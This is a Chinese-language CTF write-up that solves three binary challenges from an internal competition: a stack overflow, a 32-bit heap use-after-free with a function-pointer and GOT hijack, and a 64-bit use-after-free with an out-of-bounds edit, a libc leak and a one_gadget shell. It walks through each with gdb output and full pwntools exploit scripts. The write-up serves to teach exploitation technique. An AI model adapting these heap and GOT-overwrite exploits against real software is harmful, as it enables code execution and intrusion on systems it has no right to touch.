web选手入门pwn(12)

渗透技巧 7个月前 admin
125 0 0

同时也是公司内部CTF的pwn wp。今年CTF其他题都不太难,没有什么好讲的,就讲讲pwn了。

所有题都放在https://github.com/kezibei/pwn_study

1.    baby
可能是觉得放出的前两道堆题对于选手来说有点朝纲,于是另外放一道入门题给大家娱乐娱乐,甚至这题比ret2text可能更简单。

web选手入门pwn(12)

跟进play()

web选手入门pwn(12)

跟进printFlag()

web选手入门pwn(12)

标准栈溢出gets,满足v1=100即用printFlag()读取/flag。这题做不出来感觉就基本告别pwn了。
很显然,是让你用栈溢出修改v1的值。那么v1的值放在哪个地址呢?偏移量是多少呢?
上gdb。

gdb ./babyb playrn 5

web选手入门pwn(12)

nAAAA

刚好来到比较v1和0x64的大小,确定在rdp-4

web选手入门pwn(12)

stack 50

web选手入门pwn(12)

p/d 0x7fffffffe000-0x4-0x7fffffffdef0

那么exp就很简单了

#!/usr/bin/env pythonfrom pwn import *
context.log_level = "debug"sh = process("./baby")sh.recvuntil("Your answer:")sh.sendline("x00"*268+p64(0x64))print(sh.recvline())print(sh.recvline())

web选手入门pwn(12)

2.    panote

实战中这题没做出来,只做到通过任意地址跳转泄露libc了。
这题没有提供libc,远程探测发现不支持直接double free(),所以libc版本至少在2.27以上。本地做的时候我用的2.27-3ubuntu1_i386。
先看main,只有增删查,没有改。

web选手入门pwn(12)

add()

web选手入门pwn(12)

从代码中我们可以获取如下信息。
1,有count限制了只能add 5个
2,存在chunk list也就是note_list
3,在真正的malloc(size)之前还有个malloc(0x8)
4,malloc(0x8)中会存放puts_note的地址。
通过动态调试来感知add具体做了什么,添加一个大小为0x8,内容为AAAA的chunk。

web选手入门pwn(12)

可以看到,count+1,0x10大小的chunk多了两个,note_list上记录着chunk160,chunk160为puts_note()的指针(0x08049296)和chunk170的指针。chunk170上记录着我们真正存放的信息AAAA。这个堆题的结构就一目了然。
再看delete()

web选手入门pwn(12)

非常非常直接的UAF,没有操作count和note_list,delete之后的相关地址变化如下。

web选手入门pwn(12)

可以看到几乎没什么变化,只有chunk160原本存放puts_note地址的地方因为free()变成了fd指向chunk170。
最后看show()

web选手入门pwn(12)

其中最核心的就是这段各种强转的伪代码,光看这个可能不太明白,但是看汇编以及动态调试就能明白。

web选手入门pwn(12)

最核心的就是这个call eax,如果eax能够控制,岂不是就变成了任意地址跳转?
动态调试如下。

b print_noter18AAAA3n 300n

然后慢慢n到call eax处。

web选手入门pwn(12)

此时eax就是chunk160存放的puts_note,而传进去的arg[0]和arg[2]比较重要(32位传参在栈上),为chunk160的地址(0x804d160)和(0x4)。
跟进去puts_note后,发现它将0x804d160+0x4的存放的地址,也就是chunk170中的内容AAAA打印出来了。

web选手入门pwn(12)

那么让这题报错的方法就出来了,先add,再delete,最后show,由于chunk160存放的puts_note指针因为free()变成了fd指向chunk170。导致会call 0x804d170,而这题的heap段是不可执行的,因此报错。

web选手入门pwn(12)

这样看起来只要控制了fd,就变成了一个任意地址跳转,而由于存在UAF,控制fd和bk的办法很简单,只需要free()让chunk进入tcache,再add回来就行了。这样我们会用有两对重叠的chunk。

add(8, "AAAA")delete(0)add(8, "BBBB")

web选手入门pwn(12)

可以看到,这样操作之后,虽然实际还是只有两个chunk,但note_list上记载了两个一模一样的chunk。
不过光这样还不够,因为一次add会生成两个,其中chunkA存放地址,chunkB存放字符串,delete再add之后,新的chunkC会使用chunkA的位置,重新在里面写入地址。而我们的目的是让chunkD使用chunkA的位置,这样才能改写地址,用show()去call我们想要的地址。
所以这里需要先add(8),再add(16),然后全部free()掉,这样就会只出现3个0x10大小的tcache,接着add(8),就会错位让存放字符串的chunk,使用存放地址的chunk位置了。

add(8, "AAAA")add(16, "BBBB")delete(0)delete(1)add(8, "CCCC")

web选手入门pwn(12)

可以看到此时,chunk160原本应该存放puts_note地址的位置放着CCCC,show(0)就会因为call 0x43434343报错。

web选手入门pwn(12)

那么我们实现了任意地址跳转,那么跳转到哪个地址有用呢?这题没有后门函数,只能泄露libc,而通过我们之前的分析,这儿本来存放的puts_note是用来打印chunk170上存放的字符串,那么我们只需要将CCCC改成p32(puts_note)+p32(addr),就可以实现打印任意地址上的值了。也就可以泄露libc了。那么一阶段代码如下。

#!/usr/bin/env python from pwn import * context.log_level = "debug"#sh = process("./panote")sh = gdb.debug("./panote","c")#sh = remote('xxx',50532)def add(size,content):    sh.recvuntil("Your choice :")    sh.sendline("1")    sh.recvuntil("Note size :")    sh.sendline(str(size))    sh.recvuntil("Content :")    sh.sendline(content)
def delete(index): sh.recvuntil("Your choice :") sh.sendline("2") sh.recvuntil("Index :") sh.sendline(str(index))
def show(index): sh.recvuntil("Your choice :") sh.sendline("3") sh.recvuntil("Index :") sh.sendline(str(index))
puts_addr = 0x8049296libc_main_got = 0x804c024
add(8,"A"*8)add(16,"A"*16)
delete(0)delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))show(0)libc_main_addr = u32(sh.recvline()[0:4])print(hex((libc_main_addr)))sh.interactive()

web选手入门pwn(12)

web选手入门pwn(12)

泄露出libc,接下来呢,重复一次delete和add,继续篡改chunk160?
我最开始没能完全理解那段call eax的意思,以为可以直接将p32(puts_note)+p32(addr)换成p32(system_addr)+p32(bin_sh_addr)达到getshell的目的。实际上从之前分析的传参可以看得出来,arg[0]实际上是0x804d160,是puts_note自己再进行处理puts(*(const char **)(a1 + 4)),获取0x804d160+0x4位置的字符串并打印出来。
也就是说,call eax差不多等于puts_note(puts_note),这儿替换成system,等于system (system),当然无法执行。

add(8,"A"*8)add(16,"A"*16)
delete(0)delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))show(0)libc_main_addr = u32(sh.recvline()[0:4])print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cf
delete(2)add(8,p32(system__addr)+ p32(bin_sh_addr))show(0)

web选手入门pwn(12)

那么one_gadget呢?很遗憾,也不行,具体原因未知,可能是32位下one_gadget的条件比较苛刻的原因。
接下来我的思路就卡壳了,不过很明显有条绝对正确的路,就是劫持puts的got为system。因为几乎没有什么libc中的方法,能在puts_note(puts_note)这种严苛的传参中正常起作用,而在puts(*(const char **)(a1 + 4))这里劫持puts,则可以一举达到我们想要的效果。

请教了下专业玩pwn的,得知这儿只有一个答案,那就是gets, gets的最大优势在于,其他方法都需要传参,参数已经限制住了。而gets除了传参,还可以通过交互shell获得数据。
那么gets有什么用呢?正是向args[0]处(即0x804d160)写入交互时获取的字符串。

add(8,"A"*8)add(16,"A"*16)
delete(0)delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))show(0)libc_main_addr = u32(sh.recvline()[0:4])print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cfgets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)add(8,p32(gets_addr))sh.interactive()

再次动态调试,走到call eax处,发现arg[0]确实为0x804d160。

web选手入门pwn(12)

继续n,输入DDDD,发现0x804d160被覆盖成DDDD,而gets没有大小限制,这意味着我们终于获得了改的功能,可以篡改任意堆的能力。

web选手入门pwn(12)

那么改哪个堆才能达到劫持puts_got的目的呢?那就是下一个tcache的fd,测试下来就是0x804d170

web选手入门pwn(12)

重来一次,这次我们输入AAAABBBBCCCCDDDDEEEEFFFF。

add(8,"A"*8)add(16,"A"*16)
delete(0)delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))show(0)libc_main_addr = u32(sh.recvline()[0:4])print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cfgets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)add(8,p32(gets_addr))show(0)sh.sendline("A"*4+"B"*4+"C"*4+"D"*4+"E"*4+"F"*4)sh.interactive()

web选手入门pwn(12)

这次可以很明显的发现EEEE处就是我们可以篡改的fd,篡改此处之后,在一下次add()中,就会把此处当chunk,继而变成一个任意地址写。
再回想一下堆的布局,不难设计出正确正确答案。

sh.sendline(p32(puts_addr)+p32(bin_sh_addr)+p32(0x0)+p32(0x11)+p32(puts_got))add(8,p32(system__addr))show(0)

那么最终exp如下。

#!/usr/bin/env python from pwn import * context.log_level = "debug"sh = process("./panote")#sh = gdb.debug("./panote","c")#sh = remote('xxx',50532)def add(size,content):    sh.recvuntil("Your choice :")    sh.sendline("1")    sh.recvuntil("Note size :")    sh.sendline(str(size))    sh.recvuntil("Content :")    sh.sendline(content)
def delete(index): sh.recvuntil("Your choice :") sh.sendline("2") sh.recvuntil("Index :") sh.sendline(str(index))
def show(index): sh.recvuntil("Your choice :") sh.sendline("3") sh.recvuntil("Index :") sh.sendline(str(index))
puts_addr = 0x8049296libc_main_got = 0x804c024puts_got = 0x804c020
add(8,"A"*8)add(16,"A"*16)
delete(0)delete(1)
add(8,p32(puts_addr)+p32(libc_main_got))show(0)libc_main_addr = u32(sh.recvline()[0:4])print(hex((libc_main_addr)))
system__addr = libc_main_addr - 0x018d90 + 0x03d200bin_sh_addr = libc_main_addr - 0x018d90 + 0x17e0cfgets_addr = libc_main_addr - 0x018d90 + 0x672b0
delete(2)add(8,p32(gets_addr))show(0)
sh.sendline(p32(puts_addr)+p32(bin_sh_addr)+p32(0x0)+p32(0x11)+p32(puts_got))add(8,p32(system__addr))show(0)sh.interactive()

web选手入门pwn(12)

3.    uaf
这题给了libc为2.27,我本地用的2.27-3ubuntu1_amd64做的,还是先看main。

web选手入门pwn(12)

看起来很多,其实本质上还是增(insertMessage),删(delete_msg),改(modify_msg),查(print_msghex)。不过多了一个print_msg是什么呢?其实是这个程序设计了载入的概念,我们先要载入一个msg(包括3个chunk),然后才能使用删改查,同理也需要退出。在载入的时候,会直接把这个msg打印出来。

web选手入门pwn(12)

先看add()

web选手入门pwn(12)

先malloc(0x50)获得一个大chunk,这个chunk上保存了包括chunk_name,chunk_title,chunk_content在内的很多信息。其中有个input_buffer是交互时的临时空间,只会临时存储输入的值,可能有的解法能用上它,但我没有用上。
还是一样,动态调试下看看堆布局。

web选手入门pwn(12)

那三个0x20的小chunk就不说了,主要来看0x60这个大chunk都保存了什么,这里偏移8个字节更清楚。

0x604668:       0x0000000000000061      0x0000000000000000    #chunk size0x604678:       0x00007fffffffde70      0x0000000000000001    #a1,tail也存储了这个地址(栈上),0x1为msg的编号0x604688:       0x00000000006046d0      0x0000000000000010    #chunk_name的地址和大小0x604698:       0x00000000006046f0      0x0000000000000010    #chunk_title的地址和大小0x6046a8:       0x0000000000604710      0x0000000000000010    #chunk_content的地址和大小0x6046b8:       0x0000000100000000      0x0000000000000000    #对应  v3[18] = 0;v3[19] = 1;的代码,未知用途

其中a1这个地址很特殊,是栈上的不可预测地址,如果add两次就会发现,msg1存储的这个栈地址变化了。

web选手入门pwn(12)

msg1指向msg2,而msg2再次指向栈,这个规律在后面的堆布局中很重要。
add()分析完了,看delete()

web选手入门pwn(12)

正如它的名字一样,这又是个典型的uaf。不过由于这题没有chunk list,所以是不断循环,去通过heap,tail的设计去进行堆的操作。
接下来是modify()。

web选手入门pwn(12)

这儿的检测大小是为了防止溢出,但并没有根据堆块的大小进行检测,那么很显然可以编辑chunk_name,把下面的chunk_title和chunk_content全部覆盖了。如下图就覆盖到了chunk_title的size。

web选手入门pwn(12)

比较有意思的一点是,对content这块存在特殊处理,居然是重新malloc了一块chunk。

web选手入门pwn(12)

最后是show()

web选手入门pwn(12)

跟进printhex()

web选手入门pwn(12)

代码很简单,根据chunk_0x60中存储的chunk_name等地址和大小,打印出对应的字符串。但存在a2<=16的检测,这意味着我们可以越界编辑,无法越界打印。
了解完全部方法,第一时间想到的就是UAF的经典用法,add之后先delete再edit,劫持fd,最后通过add,达到任意地址写的目的。

#!/usr/bin/env python from pwn import * context.log_level = "debug"#sh = process("./uaf")sh = gdb.debug("./uaf","c")
def add(name, title, content): sh.recvuntil("1.leave your message") sh.sendline("1") sh.recvuntil("input you name len:") sh.sendline(str(len(name))) sh.recvuntil("input you name:") sh.sendline(name) sh.recvuntil("input you title len:") sh.sendline(str(len(title))) sh.recvuntil("input you title:") sh.sendline(title) sh.recvuntil("input you content len:") sh.sendline(str(len(content))) sh.recvuntil("input you content:") sh.sendline(content)
def to_read(msgid): sh.recvuntil("1.leave your message") sh.sendline("2") sh.recvuntil("input msgid will read:") sh.sendline(str(msgid))
def delete(): sh.recvuntil("Please select the operate:") sh.sendline("1")
def edit1(title): sh.recvuntil("Please select the operate:") sh.sendline("2") sh.recvuntil("input new name len:") sh.sendline("") sh.recvuntil("input new title len:") sh.sendline("16") sh.recvuntil("input new title:") sh.sendline(title) sh.recvuntil("input new content len:") sh.sendline("")
def out_read(): sh.recvuntil("Please select the operate:") sh.sendline("4")
add("A"*16,"B"*16,"C"*16)
to_read(1)delete()edit1(p64(0x6020b0))out_read()
add("A"*16,"B"*16,"C"*16)sh.interactive()

这里选择了0x6020b0这个没有用到的地址,在gdb中发现成功写入。

web选手入门pwn(12)

那么岂不是可以直接劫持got了?等等等等,我们连libc都还没泄露呢。
想想该如何泄露libc,这种不限制大小,不限制数量的chunk,岂不是很明显用unsorted bin吗?

add("A"*1280,"B"*16,"C"*16)
to_read(1)delete()sh.interactive()

web选手入门pwn(12)

但如何打印unsorted bin的fd/bk成了一个难题,前面的代码分析可得知,show()是会校验chunk_0x60中存储的size的。所以即使delete()之后再show(),也打印不出来。
那么将unsorted bin放在chunk_content的位置,通过编辑chunk_title,越界到chunk_content,篡改它的size,使chunk_content的特殊处理时重新malloc()时恰好和unsorted bin重叠呢?
这种重叠两个chunk的玩法在babyheap2017中我们使用过,但有两个问题。
一是edit也要输入值,会覆盖掉fd/bk,所以只能先edit再delete。
二是如果先edit,chunk_0x60中关于unsorted bin的信息就会丢失掉,所以无法delete了。这种情况只能add两次,然后再进行重叠操作。

学过babyheap2017的都知道这样很麻烦,都add两次了,为什么不直接edit msg1,越界到msg2的chunk_0x60,修改掉关于unsorted bin的size呢?
等等,既然都能修改chunk_0x60中的size信息了,我干嘛不直接修改它存储的chunk_name等地址呢?这样不是直接等于任意地址读和任意地址写?


回顾一下两层msg结构,发现通过msg1的chunk_content越界到msg2中时会经过一个栈地址,这个我们可以通过add第三次,将其变为指向msg3的heap地址。但heap地址也是随机的,也需要泄露。

web选手入门pwn(12)

泄露heap地址非常简单,add,delete,show即可泄露fd。因为这样也满足show的校验。

add("A"*16,"B"*16,"C"*16)to_read(1)delete()show()print(sh.recvline())sh.interactive()

web选手入门pwn(12)

那么越界修改时应该是什么布局呢?我们可以先动态调试来看看heap。

add("A"*16,"B"*16,"C"*16)#msg1add("A"*16,"B"*16,"C"*16)#msg2add("A"*16,"B"*16,"C"*16)#msg3add("A"*16,"B"*16,"C"*16)#msg4to_read(1)delete()show()heap_addr = sh.recvline()[85:102].replace(" ","")heap_addr_true = '0x'for i in range(0,len(heap_addr),2):    print(heap_addr[-i-2:-i])    heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]heap_addr_1 = int(heap_addr_true,16)print(hex(heap_addr_1))
out_read()to_read(2)edit("a"*16)sh.interactive()

web选手入门pwn(12)

可以看到0x6053b0就是我们的起始位置。越界到msg3篡改0x6054b0就是我们的目标。易得。
edit(“a”*16 + p64(0) + p64(0x21) + “a”*16 + p64(0) + p64(0x61) + p64(0) + p64(0x6054b0) + p64(0x3) + p64(libc_main_got))
其中0x6054b0是heap段随机位置,可以用我们提前泄露得heap_addr_1做相对位置处理。

add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)to_read(1)delete()show()heap_addr = sh.recvline()[85:102].replace(" ","")heap_addr_true = '0x'for i in range(0,len(heap_addr),2):    print(heap_addr[-i-2:-i])    heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]heap_addr_1 = int(heap_addr_true,16)print(hex(heap_addr_1))out_read()

to_read(2)libc_main_got = 0x601ff0edit("a"*16 + p64(0) + p64(0x21) + "a"*16 + p64(0) + p64(0x61) + p64(0) + p64(heap_addr_1+480) + p64(0x3) + p64(libc_main_got))out_read()
to_read(3)show()sh.recvline()
sh.interactive()

完美泄露libc。

web选手入门pwn(12)

然后就是got劫持了,这里选择了malloc(),因此我们可以一步到位,越界修改的时候就直接用malloc的got,这样避免edit两次。最后一次edit()的时候,劫持malloc_got到one_gadget,还会因为chunk_content的特殊处理直接触发malloc,获得shell,非常巧妙。
最终exp如下。

#!/usr/bin/env python from pwn import * context.log_level = "debug"#sh = process("./uaf")sh = gdb.debug("./uaf","c")
def add(name, title, content): sh.recvuntil("1.leave your message") sh.sendline("1") sh.recvuntil("input you name len:") sh.sendline(str(len(name))) sh.recvuntil("input you name:") sh.sendline(name) sh.recvuntil("input you title len:") sh.sendline(str(len(title))) sh.recvuntil("input you title:") sh.sendline(title) sh.recvuntil("input you content len:") sh.sendline(str(len(content))) sh.recvuntil("input you content:") sh.sendline(content)
def to_read(msgid): sh.recvuntil("1.leave your message") sh.sendline("2") sh.recvuntil("input msgid will read:") sh.sendline(str(msgid))
def delete(): sh.recvuntil("Please select the operate:") sh.sendline("1")
def edit_title(title): sh.recvuntil("Please select the operate:") sh.sendline("2") sh.recvuntil("input new name len:") sh.sendline("") sh.recvuntil("input new title len:") sh.sendline(str(len(title))) sh.recvuntil("input new title:") sh.sendline(title) sh.recvuntil("input new content len:") sh.sendline("")

def edit_name(name): sh.recvuntil("Please select the operate:") sh.sendline("2") sh.recvuntil("input new name len:") sh.sendline(str(len(name))) sh.recvuntil("input new name:") sh.sendline(name) sh.recvuntil("input new title len:") sh.sendline("") sh.recvuntil("input new content len:") sh.sendline("")
def out_read(): sh.recvuntil("Please select the operate:") sh.sendline("4")
def show(): sh.recvuntil("Please select the operate:") sh.sendline("5") sh.recvline()
add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)add("A"*16,"B"*16,"C"*16)to_read(1)delete()show()heap_addr = sh.recvline()[85:102].replace(" ","")heap_addr_true = '0x'for i in range(0,len(heap_addr),2): print(heap_addr[-i-2:-i]) heap_addr_true = heap_addr_true+heap_addr[-i-2:-i]heap_addr_1 = int(heap_addr_true,16)print(hex(heap_addr_1))out_read()

to_read(2)malloc_got = 0x602050edit_title("a"*16 + p64(0) + p64(0x21) + "a"*16 + p64(0) + p64(0x61) + p64(0) + p64(heap_addr_1+480) + p64(0x3) + p64(malloc_got))out_read()
to_read(3)show()malloc_addr = sh.recvline()[26:49].replace(" ","")malloc_addr_true = '0x'for i in range(0,len(malloc_addr),2): print(malloc_addr[-i-2:-i]) malloc_addr_true = malloc_addr_true+malloc_addr[-i-2:-i]malloc_addr_1 = int(malloc_addr_true,16)one_gadget = malloc_addr_1 - 0x097070 + 0x10a38cprint(hex(malloc_addr_1))edit_name(p64(one_gadget)+p64(0))
sh.interactive()

web选手入门pwn(12)

真正做这题时,由于经验缺乏,我还是老老实实的篡改unsorted bin的size,利用uaf劫持fd。完整回顾一遍就发现实际上直接篡改chunk_0x60就行了。



原文始发于微信公众号(珂技知识分享):web选手入门pwn(12)

版权声明:admin 发表于 2023年9月28日 上午9:15。
转载请注明:web选手入门pwn(12) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...